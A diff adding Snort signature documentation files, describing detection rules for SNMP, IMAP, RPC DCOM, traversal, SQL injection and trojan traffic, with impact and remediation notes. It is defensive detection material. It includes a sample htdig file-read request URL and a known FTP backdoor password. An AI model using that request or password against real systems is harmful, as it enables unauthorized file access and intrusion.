+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1427.txt
+++ snort-2.8.5.2/doc/signatures/1427.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+1427
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service (DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community string 
+buffer overflow, that will allow an attacker to execute arbitrary code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of SNMP v1 protocol
+	
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 161 
+of a vulnerable device, causing a Denial of Service or possible execution of 
+arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2002-03.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2503.txt
+++ snort-2.8.5.2/doc/signatures/2503.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2503
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000502.txt
+++ snort-2.8.5.2/doc/signatures/100000502.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000502
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Ji-Takz" application running on a webserver. 
+Access to the file "tag.class.php" using a remote file being passed as the 
+"mycfg" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "mycfg" parameter in the "tag.class.php" script used by 
+the "Ji-Takz" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Ji-Takz
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/355.txt
+++ snort-2.8.5.2/doc/signatures/355.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+355
+
+--
+Summary:
+This event is generated when a password of "wh00t" is used to login to an File Transfer Protocol (FTP) server.
+
+--
+Impact:
+Remote root access.  The attack may indicate that the FTP server has been compromised. 
+
+--
+Detailed Information:
+The password "wh00t" is a common backdoor password associated with a compromised root account.  If this password is observed, it may indicate that the FTP server has been compromised and a backdoor root account with a password of "wh00t" has been created.  Alternately, this may indicate a failed attempt of an attacker attempting to locate FTP servers compromised by others. 
+
+--
+Affected Systems:
+FTP servers.
+
+--
+Attack Scenarios:
+An attacker may compromise a host and create a backdoor account.  An attacker may attempt to locate FTP servers with a backdoor account.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+It is very remotely possible that a legitimate password of "wh00t" exists.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Examine the suspected compromised host for unauthorized changes.
+
+Make sure that the suspected compromised host has all security patches applied.
+
+Log activity to and from the suspected compromised host.
+
+Examine other systems on the network for evidence of compromise.
+
+If a compromised is discovered, reinstall the operating system.
+
+--
+Contributors:
+Orignal rule written by Ron Gula <rgula@tenablesecurity.com>
+Documented by Steven Alexander<alexander.s@mccd.edu>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS324
+
+--
--- snort-2.8.5.2.orig/doc/signatures/501.txt
+++ snort-2.8.5.2/doc/signatures/501.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+501
+
+--
+Summary:
+This event is generated when a packet is discovered with loose source routing set in the IP options.
+
+--
+Impact:
+Loose source routing permits the dictation of a route to and from the destination rather than relying on standard dynamic routing.
+
+--
+Detailed Information:
+Loose source routing instructs the packet to traverse identified routers in transit to and from the desired destination.  Normal routing sends a packet one hop at a time allowing each interim router to determine the next hop.  This may permit an attacker to spoof a source IP yet receive the response by sniffing from a network associated with an identified loose source router.  A vulnerability exist in Windows 95, 98, and NT hosts that permits a vulernable destination host to accept a specially crafted source routed packet even though the host has a registry setting to drop it.
+
+--
+Affected Systems:
+Unless loose source routing is disabled, all hosts can accept them.
+
+--
+Attack Scenarios:
+An attacker can craft a special source routed packet to cause Windows 95, 98, and NT hosts to accept them even though a registry setting exists to drop source routed packets.
+
+--
+Ease of Attack:
+Simple.  
+
+--
+False Positives:
+This even will trigger if you allow loose source routed packets into your network.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Block all source routed (loose or strict) packets from entering your network.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/646
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0909
+
+Whitehats
+www.whitehats.com/info/IDS470
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1601.txt
+++ snort-2.8.5.2/doc/signatures/1601.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+1601
+
+--
+Summary:
+This event is generated when an attempt is made to read a file on a host using a well known vulnerability in htdig.
+
+--
+Impact:
+Severe. Unauthorized file access
+
+--
+Detailed Information:
+Some versions of htdig allow inclusions to be made from configuration files as a parameter to the htsearch function. Any file can be included by enclosing it in single quotes ('foo').
+
+Using this vulnerability, any single quoted input string (`....`) is included as an index file by htsearch. This allows an attacker to read any file on the host.
+
+--
+Affected Systems:
+HTDig versions 3.1.1, 3.1.2, 3.1.3, 3.1.4 and 3.2.0b1
+
+--
+Attack Scenarios:
+A input form with a textbox named "Exclude" and http post action handled by htsearch or a url similar to http://www.foo.com/cgi-bin/htsearch?Exclude=%60/anyfile%60 can be used to access files on your host. %60 is the single quote caracter "`".
+
+--
+Ease of Attack:
+Simple. No exploit scripts required
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Snort documentation contributed by Ueli Kistler, <u.kistler@engagesecurity.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq:
+http://www.securityfocus.com/bid/1026
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2107.txt
+++ snort-2.8.5.2/doc/signatures/2107.txt
@@ -0,0 +1,75 @@
+Rule:
+
+
+--
+Sid:
+2107
+
+--
+Summary:
+This event is generated when a remote user uses invalid data within an
+IMAP CREATE command sent to port 143 on an internal server. This may
+indicate an attempt to exploit a buffer overflow vulnerability in the
+IMAP CREATE command in the Alt-N MDaemon IMAP server. This vulnerability
+may affect other IMAP implementations.
+
+--
+Impact:
+Remote execution of arbitrary code, which could allow an attacker to
+interfere with or crash mail services. The attacker must have a valid
+IMAP account and be authenticated by the mail server to attempt this exploit.
+
+--
+Detailed Information:
+Some versions of the Alt-N MDaemon IMAP server contain a vulnerability
+where, if an authenticated user creates a folder with a sufficiently
+long name, arbitrary code can be executed with system privileges. Note
+that this exploit can only be attempted by an authenticated user with a
+valid IMAP account on the mail server.
+
+--
+Affected Systems:
+	Alt-N MDaemon 6.7.5 or Alt-N MDaemon 6.7.9 IMAP servers.
+
+--
+Attack Scenarios:
+An authenticated user can create a new folder with a sufficiently long
+name, creating a buffer overflow condition. The attacker can then
+execute arbitrary code with system privileges, which may allow the
+attacker to interfere with or crash mail services.
+
+--
+Ease of Attack:
+Exploits exist, but the user must be authenticated before attempting the exploit.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/7446
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11577
+
+--
--- snort-2.8.5.2.orig/doc/signatures/151.txt
+++ snort-2.8.5.2/doc/signatures/151.txt
@@ -0,0 +1,86 @@
+Rule:  
+
+--
+Sid:
+151
+
+--
+Summary:
+This rule has been placed in deleted.rules
+
+--
+Impact:
+A remote attacker with DeepThroat access has almost full control of the
+trojaned machine, including file manipulation and download, keystroke
+logging, password scavenging, and reboot. Additionally, the trojan includes 
+a port redirector, and IRC bot, and a tool to scan for other DeepThroat
+infected machines. There are also prank-type annoyances.
+
+--
+Detailed Information:
+DeepThroat is a full-featured remote access trojan.It contains many kiddie
+tools, including window enumeration and manipulation; file searching
+launching and deletion; remote graphics display sound playing and wallpaper
+alteration; remote website launching and file download; shell alteration 
+(e.g. hiding systray or Start button), CD-ROM open/closing, mouse button 
+swapping; screen resolution change, display on/off; password scavenging and
+screen capturing. It also includes a remotely activated FTP server, a keystroke
+logger, an IRC bot, a port redirector, and a tool to scan for other DeepThroat 
+servers. Using these tools, an attacker can not only take control of the 
+infected machine, but can use it as a relay to attack others or scan
+for more infected machines from within your network.  By default, DeepThroat sends its 
+control commands to port 2140 on the trojaned machine.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+Users must be actively enticed into installing the trojan, using any of the
+normal social-engineering means. Alternatively, an attacker with physical
+access to the machine could simply install it himself.
+
+--
+Ease of Attack:
+Very simple. This is a point-and-click tool. The toughest part is convincing 
+a user to install it, and it could certainly be bound to another binary for 
+easier social-engineering.
+
+--
+False Positives:
+None Known
+
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Mitigation:
+Block UDP port 2140 (standard DeepThroat control port), if possible TCP port 21
+(standard DeepThroat FTP server), and TCP port 999 (DeepThroat keyboard logger). 
+DeepThroat may be set up to run on other ports than those listed above. Removal 
+is the only sure mitigation.
+
+Removal:
+Scan with an anti-virus tool and follow the removal instructions.
+
+--
+Contributors:
+Original rule writer unknown
+Original document author unkown
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+pbsarnac@ThoughtWorks.com	Initial Research
+Josh Gray			Edits
+-- 
+Additional References:
+Packet dump:
+0000  00 50 56 ff ae cb 00 50  56 fe 18 10 08 00 45 00
+0010  00 1e 30 02 00 00 80 11  b4 71 c0 a8 ea 84 c0 a8
+0020  ea 85 ea 60 08 5c 00 0a  85 8e 31 33 02 b0 c0 a8
+0030  ea 84 00 8a 00 bb 00 00  20 46 48 45            
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2105.txt
+++ snort-2.8.5.2/doc/signatures/2105.txt
@@ -0,0 +1,76 @@
+Rule:
+
+--
+Sid:
+2105
+
+--
+Summary:
+This event is generated when a remote user uses the IMAP AUTHENTICATE
+command to send a suspiciously long string to port 143 on an internal
+server. This may indicate an attempt to exploit a buffer overflow
+vulnerability in the IMAP AUTHENTICATE command. This vulnerability may
+affect other IMAP implementations.
+
+--
+Impact:
+Serious. Possible remote execution of arbitrary code, which may lead to
+a remote root compromise.
+
+--
+Detailed Information:
+When a large amount of data is sent to a vulnerable IMAP server in the
+AUTHENTICATE command, a buffer overflow condition may occur. This can
+allow the attacker to execute arbitrary code, which may allow the
+attacker to gain root access to the compromised server.
+
+--
+Affected Systems:
+	University of Washington imapd version 10.234 and earlier.
+
+--
+Attack Scenarios:
+An attacker can send a sufficiently long AUTHENTICATE command to the
+IMAP server, creating a buffer overflow condition. This can then allow
+the attacker to gain root access to the compromised server.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+Apply the appropriate patches for your operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq
+http://www.securityfocus.com/bid/130
+
+CVE
+http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=CVE-1999-0005 
+
+Nessus
+http://cgi.nessus.org/plugins/dump.php3?id=11073
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1055.txt
+++ snort-2.8.5.2/doc/signatures/1055.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1055
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3413.txt
+++ snort-2.8.5.2/doc/signatures/3413.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3413
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2165.txt
+++ snort-2.8.5.2/doc/signatures/2165.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2165
+
+
+--
+Summary:
+This event is generated when a possible outgoing virus is detected. 
+
+--
+Impact:
+Informational event. An virus on an infected host may be attempting to 
+propogate.
+
+--
+Detailed Information:
+This event indicates that an outgoing email message possibly containing 
+a virus has been detected.
+
+This rule generates an event when a filename extension commonly used by 
+viruses is detected.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+This is indicative of a virus infection.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A legitimate attachment to an email may generate this event.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of virus infection.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2997.txt
+++ snort-2.8.5.2/doc/signatures/2997.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+2997
+
+--
+Summary:
+This event is generated when an attempt is made to shutdown a Windows
+system via SMB. 
+
+--
+Impact:
+Serious.
+
+--
+Detailed Information:
+This event indicates that an attempt was made to shutdown a Windows
+system via SMB across the network.
+
+It may be possible for an attacker to manipulate a Windows system
+from a remote location. Shutting down a system may lead to a Denial of
+Service for the target host.
+
+--
+Affected Systems:
+	Microsoft Windows systems.
+
+--
+Attack Scenarios:
+An attacker may be able to manipulate a target system using SMB. The
+attacker may gain complete control over the affected system.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the host for signs of system compromise.
+
+Turn off file and print sharing on the target host.
+
+Use a packet filtering firewall to disallow SMB access to the host from
+sources external to the protected network.
+
+Disallow remote registry manipulation.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1627.txt
+++ snort-2.8.5.2/doc/signatures/1627.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+1627
+
+--
+Summary:
+This event is generated when packets on the network are using an 
+unassigned or reserved IP protocol.
+
+--
+Impact:
+Possible prelude to system compromise.
+
+--
+Detailed Information:
+Under normal circumstances IP packets do not use unassigned or reserved 
+protocols.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	All
+
+--
+Attack Scenarios:
+The attacker may send specially crafted packets using an unassigned or 
+reserved protocol.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Research or testing of new protocols may trigger this event.
+
+Novell use protocol 224 for the Cluster heart beat
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Use a packet filtering device to reject packets using an unknown 
+protocol.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+IANA
+http://www.iana.org/assignments/protocol-numbers
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3077.txt
+++ snort-2.8.5.2/doc/signatures/3077.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+3077
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the RNFR command of the IPSwitch WS_FTP server.
+
+--
+Impact:
+A successful attack may cause a denial of service or a buffer overflow
+and the subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Detailed Information:
+A vulnerability exists in the way that the IPSwitch WS_FTP service
+handles the RNFR command.  An excessively long parameter supplied to the
+command can trigger a denial of service or a buffer overflow and the
+subsequent execution of arbitrary code on a vulnerable server.
+
+--
+Affected Systems:
+	IPSwitch WS_FTP 4.x, 5.x
+
+--
+Attack Scenarios:
+An attacker can supplied an overly long parameter with the RNFR command,
+possibly causing denial of service or a buffer overflow.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Secunia:
+http://secunia.com/advisories/13334
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1741.txt
+++ snort-2.8.5.2/doc/signatures/1741.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1741
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2047.txt
+++ snort-2.8.5.2/doc/signatures/2047.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2047
+
+--
+Summary:
+This event is generated when an attempt is made to access an rsync
+module list.
+
+--
+Impact:
+Information gathering. Possible theft of data.
+
+--
+Detailed Information:
+rsync is used to synchronize data between two machines across a network.
+It achieves this by only sending the differences between the files on 
+each host.
+
+Since it does not require both hosts to have the data it is 
+synchronizing, it is possible to retrieve a number of files from one 
+host without the corresponding files being present on the receiving 
+host.
+
+This presents the possibilty of using rsync to receive data from a
+protected machine to an external host.
+
+--
+Affected Systems:
+	All systems using rsync.
+
+--
+Attack Scenarios:
+The attacker needs to make an rsync request for available modules.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+Systems using rsync to coordinate sets of data between hosts not in the 
+same LAN.
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Access to files via rsync should be carefully managed using access 
+control lists.
+
+The transfer of files from an internal source to an external one should 
+be carefully managed using the appropriate firewall rules.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+rsync Home:
+http://samba.anu.edu.au/rsync/
+
+University of Washington:
+http://www.washington.edu/imap/buffer.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000863.txt
+++ snort-2.8.5.2/doc/signatures/100000863.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection 
+vulnerability in the "PHPMyRing" application running on a webserver. Access to 
+the file "view_com.php" with SQL commands being passed as the "idsite" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a 
+remote machine via the "idsite" parameter in the "view_com.php" script used by 
+the "PHPMyRing" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to compromise the database backend for the 
+application, the attacker may also be able to execute system binaries or 
+malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using PHPMyRing
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application 
+if user input is not correctly sanitized or checked before passing that input 
+to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
--- snort-2.8.5.2.orig/doc/signatures/423.txt
+++ snort-2.8.5.2/doc/signatures/423.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+
+Sid:
+423
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Mobile Registration Request datagram.
+
+--
+
+Impact:
+ICMP Mobile Registration Requests were never implemented and have been replaced by UDP and TCP versions of the message.  ICMP Type 35 datagrams should never be seen in normal network conditions.
+
+--
+
+Detailed Information:
+ICMP Mobile Registration Request datagrams were developed before the development of RFC3344 (IP Mobility Support for IPv4).  Therefore these types of ICMP datagrams should never be seen in normal networking conditions.  
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+ICMP Type 35 datagrams are not normal network activity.  Hosts generating these types of datagrams should be investigated for nefarious activity
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1488.txt
+++ snort-2.8.5.2/doc/signatures/1488.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1488
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/495.txt
+++ snort-2.8.5.2/doc/signatures/495.txt
@@ -0,0 +1,59 @@
+Rule: 
+
+--
+Sid: 495
+
+-- 
+
+Summary: 
+This event is generated by an unsuccessful attempt to execute a command. This may be indicative of post-compromise behavior indicating the use of a Windows command shell.
+
+-- 
+
+Impact: 
+Serious. An attacker may have the ability to execute commands remotely
+
+--
+Detailed Information:
